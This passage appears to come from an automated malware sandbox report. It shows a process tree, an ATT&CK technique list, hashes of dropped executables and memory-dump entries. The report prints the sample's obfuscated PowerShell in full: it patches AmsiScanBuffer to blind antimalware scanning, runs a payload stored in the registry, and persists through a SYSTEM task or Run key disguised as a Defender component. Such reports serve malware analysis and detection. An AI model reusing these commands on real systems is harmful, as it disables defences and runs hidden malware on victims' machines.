-DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1328
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4716 -ip 4716
1⤵
PID:2228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:vEnQaaFsoLaE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sgGqjeBUbuuhAR,[Parameter(Position=1)][Type]$EmiqkoLkCt)$BVAswonCmtb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'fl'+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+'m'+''+'o'+'r'+[Char](121)+'Mod'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'egat'+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+'bl'+[Char](105)+'c'+','+''+'S'+''+'e'+'ale'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'Cl'+'a'+''+[Char](115)+''+'s'+''+','+'A'+[Char](117)+''+'t'+'o'+'C'+'l'+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$BVAswonCmtb.DefineConstructor('R'+'T'+'S'+[Char](112)+''+'e'+''+'c'+''+'i'+''+'a'+'l'+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'By'+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$sgGqjeBUbuuhAR).SetImplementationFlags('Ru'+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+[Char](97)+''+'g'+'e'+'d'+'');$BVAswonCmtb.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+'e'+''+[Char](119)+''+'S'+''+'l'+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$EmiqkoLkCt,$sgGqjeBUbuuhAR).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+''+'e'+''+','+'Ma'+[Char](110)+'a'+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $BVAswonCmtb.CreateType();}$merSwRbRQlhQa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+'s'+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+'i'+[Char](110)+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+'af'+[Char](101)+''+'m'+''+[Char](101)+''+'r'+''+'S'+''+[Char](119)+''+[Char](82)+'b'+'R'+'Qlh'+'Q'+''+'a'+'');$ZUfIsOCSnVQVfe=$merSwRbRQlhQa.GetMethod('ZUfI'+[Char](115)+''+'O'+'CS'+'n'+'V'+'Q'+''+[Char](86)+''+[Char](102)+'e',[Reflection.BindingFlags]'Pu'+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iylUboqVOBaDlyLXYiC=vEnQaaFsoLaE @([String])([IntPtr]);$URNyDsvBOdicIgenACvoDu=vEnQaaFsoLaE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aHXmiGKeJEA=$merSwRbRQlhQa.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'od'+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'ne'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$wWxnTiWiZaEeNU=$ZUfIsOCSnVQVfe.Invoke($Null,@([Object]$aHXmiGKeJEA,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+'y'+[Char](65)+'')));$WDFlwSWXJJBnVSqbf=$ZUfIsOCSnVQVfe.Invoke($Null,@([Object]$aHXmiGKeJEA,[Object](''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+'al'+'P'+'r'+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$IKPZGgx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wWxnTiWiZaEeNU,$iylUboqVOBaDlyLXYiC).Invoke(''+'a'+'ms'+[Char](105)+'.'+[Char](100)+'ll');$DPKxidtEEheQpWjEL=$ZUfIsOCSnVQVfe.Invoke($Null,@([Object]$IKPZGgx,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+'n'+''+'B'+''+'u'+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$urLwWOvySz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WDFlwSWXJJBnVSqbf,$URNyDsvBOdicIgenACvoDu).Invoke($DPKxidtEEheQpWjEL,[uint32]8,4,[ref]$urLwWOvySz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$DPKxidtEEheQpWjEL,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WDFlwSWXJJBnVSqbf,$URNyDsvBOdicIgenACvoDu).Invoke($DPKxidtEEheQpWjEL,[uint32]8,0x20,[ref]$urLwWOvySz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+[Char](87)+'ARE').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+'r'+''+'s'+''+'t'+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tzvXEoeSeGkw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ffiMiJtQgvGYjy,[Parameter(Position=1)][Type]$kkCZmyUjhi)$QttaqVERHpz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+'ec'+[Char](116)+'ed'+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+'r'+''+'y'+'M'+[Char](111)+'d'+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'at'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+'S'+'e'+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+'la'+[Char](115)+''+'s'+'',[MulticastDelegate]);$QttaqVERHpz.DefineConstructor('R'+'T'+'S'+[Char](112)+''+'e'+''+'c'+'i'+[Char](97)+''+'l'+'N'+[Char](97)+''+[Char](109)+'e'+','+''+'H'+''+[Char](105)+'d'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'bl'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$ffiMiJtQgvGYjy).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$QttaqVERHpz.DefineMethod('In'+'v'+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+'H'+'i'+'d'+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$kkCZmyUjhi,$ffiMiJtQgvGYjy).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+[Char](105)+''+'m'+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $QttaqVERHpz.CreateType();}$pFJFvcyXHGABK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+[Char](111)+''+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+'p'+'F'+''+[Char](74)+''+'F'+''+[Char](118)+''+[Char](99)+'y'+'X'+''+[Char](72)+''+[Char](71)+''+[Char](65)+''+'B'+'K');$iSJLqxdrtmxOkP=$pFJFvcyXHGABK.GetMethod(''+[Char](105)+'S'+[Char](74)+''+'L'+''+[Char](113)+''+[Char](120)+'d'+[Char](114)+''+[Char](116)+''+'m'+''+[Char](120)+'Ok'+[Char](80)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MqibrPihoHJmIprjkht=tzvXEoeSeGkw @([String])([IntPtr]);$lpfnDfdXlUVReMZYEJiLkH=tzvXEoeSeGkw @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lBIJSXeVuus=$pFJFvcyXHGABK.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+'a'+'n'+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object]('ke'+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$hqPOBjtmlRMByl=$iSJLqxdrtmxOkP.Invoke($Null,@([Object]$lBIJSXeVuus,[Object](''+[Char](76)+''+'o'+''+'a'+'d'+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$kNOabIzDnxAjOLvVv=$iSJLqxdrtmxOkP.Invoke($Null,@([Object]$lBIJSXeVuus,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$PGTpzBi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hqPOBjtmlRMByl,$MqibrPihoHJmIprjkht).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+'.'+'d'+'l'+''+'l'+'');$MjmSPPOyuMIyqsTLX=$iSJLqxdrtmxOkP.Invoke($Null,@([Object]$PGTpzBi,[Object](''+'A'+'m'+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'fer')));$YOwRtfaGIv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kNOabIzDnxAjOLvVv,$lpfnDfdXlUVReMZYEJiLkH).Invoke($MjmSPPOyuMIyqsTLX,[uint32]8,4,[ref]$YOwRtfaGIv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MjmSPPOyuMIyqsTLX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kNOabIzDnxAjOLvVv,$lpfnDfdXlUVReMZYEJiLkH).Invoke($MjmSPPOyuMIyqsTLX,[uint32]8,0x20,[ref]$YOwRtfaGIv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'rst'+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
124edf3ad57549a6e475f3bc4e6cfe51

SHA1
80f5187eeebb4a304e9caa0ce66fcd78c113d634

SHA256
638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

SHA512
b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
3094c9fc478d2a0d643ca089f81ec7b1

SHA1
789294946bf756c2cd80923a019447b893c1b93f

SHA256
3e649574e0388f5628229a15b7eef1dd5d21a8a4ea412c81eec8cd2eeffba8c9

SHA512
a96ebec0c68232c393843c7c7e25c55261960f8ee4f1bedba06fdfb82e0d4b2252cf361467285837f2e7a88fe97a80a1114bba24241fc8c691abe3baea352b76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c697637a9b17f577fccd7e83a5495810

SHA1
04e6054584786b88994b0e0a871562227fe2a435

SHA256
54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164

SHA512
66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
memory/1032-155-0x00000000074F0000-0x0000000007512000-memory.dmp

Filesize
136KB

Download
memory/1032-149-0x0000000007160000-0x000000000717A000-memory.dmp

Filesize
104KB

Download
memory/1032-151-0x0000000007420000-0x00000000074B6000-memory.dmp

Filesize
600KB

Download
memory/1032-152-0x0000000007390000-0x000000000739E000-memory.dmp

Filesize
56KB

Download
memory/1032-153-0x00000000073E0000-0x00000000073FA000-memory.dmp

Filesize
104KB

Download
memory/1032-154-0x00000000073D0000-0x00000000073D8000-memory.dmp

Filesize
32KB

Download
memory/1032-144-0x0000000005E40000-0x0000000005E5E000-memory.dmp

Filesize
120KB

Download
memory/1032-156-0x00000000083E0000-0x0000000008984000-memory.dmp

Filesize
5.6MB

Download
memory/1032-143-0x00000000057F0000-0x0000000005856000-memory.dmp

Filesize
408KB

Download
memory/1032-141-0x00000000055E0000-0x0000000005602000-memory.dmp

Filesize
136KB

Download
memory/1032-148-0x00000000077B0000-0x0000000007E2A000-memory.dmp

Filesize
6.5MB

Download
memory/1032-147-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/1032-139-0x0000000002560000-0x0000000002596000-memory.dmp

Filesize
216KB

Download
memory/1032-146-0x0000000070AE0000-0x0000000070B2C000-memory.dmp

Filesize
304KB

Download
memory/1032-145-0x0000000007020000-0x0000000007052000-memory.dmp

Filesize
200KB

Download
memory/1032-142-0x0000000005780000-0x00000000057E6000-memory.dmp

Filesize
408KB

Download
memory/1032-140-0x0000000004F80000-0x00000000055A8000-memory.dmp

Filesize
6.2MB

Download
memory/1032-150-0x00000000071E0000-0x00000000071EA000-memory.dmp

Filesize
40KB

Download
memory/1328-198-0x00000223EAAC9000-0x00000223EAACF000-memory.dmp

Filesize
24KB

Download
memory/1328-190-0x00007FF8141E0000-0x00007FF814CA1000-memory.dmp

Filesize
10.8MB

Download
memory/1328-199-0x00007FF8141E0000-0x00007FF814CA1000-memory.dmp

Filesize
10.8MB

Download
memory/1576-167-0x0000000005340000-0x000000000534A000-memory.dmp

Filesize
40KB

Download
memory/1576-166-0x0000000004EB0000-0x0000000004F42000-memory.dmp

Filesize
584KB

Download
memory/1576-162-0x0000000000420000-0x000000000058C000-memory.dmp

Filesize
1.4MB

Download
memory/3200-181-0x000002441BC40000-0x000002441BC48000-memory.dmp

Filesize
32KB

Download
memory/3200-179-0x000002447EE80000-0x000002447EE8A000-memory.dmp

Filesize
40KB

Download
memory/3200-180-0x000002447F0A0000-0x000002447F0BA000-memory.dmp

Filesize
104KB

Download
memory/3200-178-0x000002447F080000-0x000002447F09C000-memory.dmp

Filesize
112KB

Download
memory/3200-182-0x000002441BC50000-0x000002441BC56000-memory.dmp

Filesize
24KB

Download
memory/3200-183-0x000002447EF40000-0x000002447EF4A000-memory.dmp

Filesize
40KB

Download
memory/3200-184-0x00007FF8141E0000-0x00007FF814CA1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-177-0x00007FF8141E0000-0x00007FF814CA1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-171-0x000002447EF10000-0x000002447EF32000-memory.dmp

Filesize
136KB

Download
memory/3200-176-0x000002447EE70000-0x000002447EE7A000-memory.dmp

Filesize
40KB

Download
memory/3200-174-0x000002441BA20000-0x000002441BA3C000-memory.dmp

Filesize
112KB

Download
memory/4220-168-0x00000000021AA000-0x00000000026AE000-memory.dmp

Filesize
5.0MB

Download
memory/4220-169-0x00000000026BE000-0x00000000027FB000-memory.dmp

Filesize
1.2MB

Download
memory/4220-170-0x00000000021AA000-0x00000000026AE000-memory.dmp

Filesize
5.0MB

Download
memory/4220-175-0x00000000026BE000-0x00000000027FB000-memory.dmp

Filesize
1.2MB

Download
memory/4300-203-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/4300-204-0x00007FF831C60000-0x00007FF831D1E000-memory.dmp

Filesize
760KB

Download
memory/4300-213-0x00007FF831C60000-0x00007FF831D1E000-memory.dmp

Filesize
760KB

Download
memory/4300-212-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/4300-202-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp

Filesize
10.8MB

Download
memory/4300-211-0x00007FF8148F0000-0x00007FF8153B1000-memory.dmp

Filesize
10.8MB

Download
memory/4336-208-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4336-205-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4336-209-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/4336-210-0x00007FF831C60000-0x00007FF831D1E000-memory.dmp

Filesize
760KB

Download
memory/4336-214-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4336-215-0x00007FF832C10000-0x00007FF832E05000-memory.dmp

Filesize
2.0MB

Download
memory/4768-133-0x0000000000570000-0x0000000000578000-memory.dmp

Filesize
32KB

Download